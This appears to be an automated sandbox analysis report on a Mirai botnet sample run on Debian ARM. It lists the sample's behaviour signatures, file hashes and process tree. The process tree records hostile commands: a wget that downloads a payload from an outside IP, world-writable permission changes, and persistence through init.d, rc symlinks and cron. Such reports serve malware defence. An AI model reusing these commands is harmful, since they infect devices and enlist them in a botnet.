Overview

overview

10

Static

static

1

m2a7f3

ubuntu-18.04-amd64

10

m2a7f3

debian-9-armhf

10

m2a7f3

debian-9-mips

1

m2a7f3

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/10/2026, 12:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    m2a7f3
  • Size 4KB
  • Sample261031-pc4z1abs4v
  • SHA256 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetmiraidefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalation

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai ARM payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/m2a7f3
    /tmp/m2a7f3
    1⤵
    • Executes dropped EXE
    • Creates/modifies Cron job
    • Modifies rc script
    PID:644
    • /bin/uname
      uname -m
      2⤵
        PID:646
      • /bin/rm
        rm -f .b
        2⤵
          PID:648
        • /usr/bin/wget
          wget -qO .b http://77.239.124.141/b/armv7l
          2⤵
          • Writes file to tmp directory
          PID:651
        • /bin/chmod
          chmod 777 .b
          2⤵
          • File and Directory Permissions Modification
          PID:675
        • /tmp/.b
          ./.b
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • Writes file to shm directory
          PID:676
        • /bin/cat
          cat
          2⤵
            PID:677
          • /bin/chmod
            chmod 777 /var/.m
            2⤵
            • File and Directory Permissions Modification
            PID:681
          • /bin/chmod
            chmod 777 /var
            2⤵
            • File and Directory Permissions Modification
            PID:682
          • /bin/chmod
            chmod 777 /etc/rc.local
            2⤵
            • File and Directory Permissions Modification
            PID:683
          • /bin/cp
            cp /var/.m /etc/init.d/bot
            2⤵
            • Modifies init.d
            • Reads runtime system information
            PID:684
          • /bin/chmod
            chmod 777 /etc/init.d/bot
            2⤵
            • File and Directory Permissions Modification
            PID:685
          • /bin/ln
            ln -sf /etc/init.d/bot /etc/rc3.d/S99bot
            2⤵
              PID:686
            • /bin/ln
              ln -sf /etc/init.d/bot /etc/rc5.d/S99bot
              2⤵
                PID:687
              • /bin/grep
                grep -q /var/.m /var/spool/cron/root
                2⤵
                  PID:688

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    .comm
                    • Path /dev/shm/.comm
                    • Size 4B
                    • SHA256 8d7c10fa712cbe4879ad8595846c24e5083da71b23fb5f3e966005bea31fdaf6
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 10B
                    • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 36B
                    • SHA256 6a948b659c747bc2cb77b6808bf9fa5aeefb5fde19a2e58d26823bcde924f69e
                    • MD5 SHA1 SHA512
                    Submit Download

                    .b
                    • Path /tmp/.b
                    • Size 153KB
                    • SHA256 143d267e0343c59bab514dd0a47090ee6d8288746a62372ae86c0c70df182b9e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    .bpid
                    • Path /var/.bpid
                    • Size 4B
                    • SHA256 cb3bf83e88d43a0433dea8af575cb48f1818237fa4b5ef69a95ca75635658f8e
                    • MD5 SHA1 SHA512
                    Submit Download

                    .m
                    • Path /var/.m
                    • Size 334B
                    • SHA256 d9688470ee4aef3d14f0962df3ef76df2b3243441fea6e2802227ed46f4e2bb8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    root
                    • Path /var/spool/cron/root
                    • Size 37B
                    • SHA256 1b3fe417903fe231cb53c927797d6a192a54d98b541b819cb06df8f702dc5c27
                    • MD5 SHA1 SHA512
                    Submit Download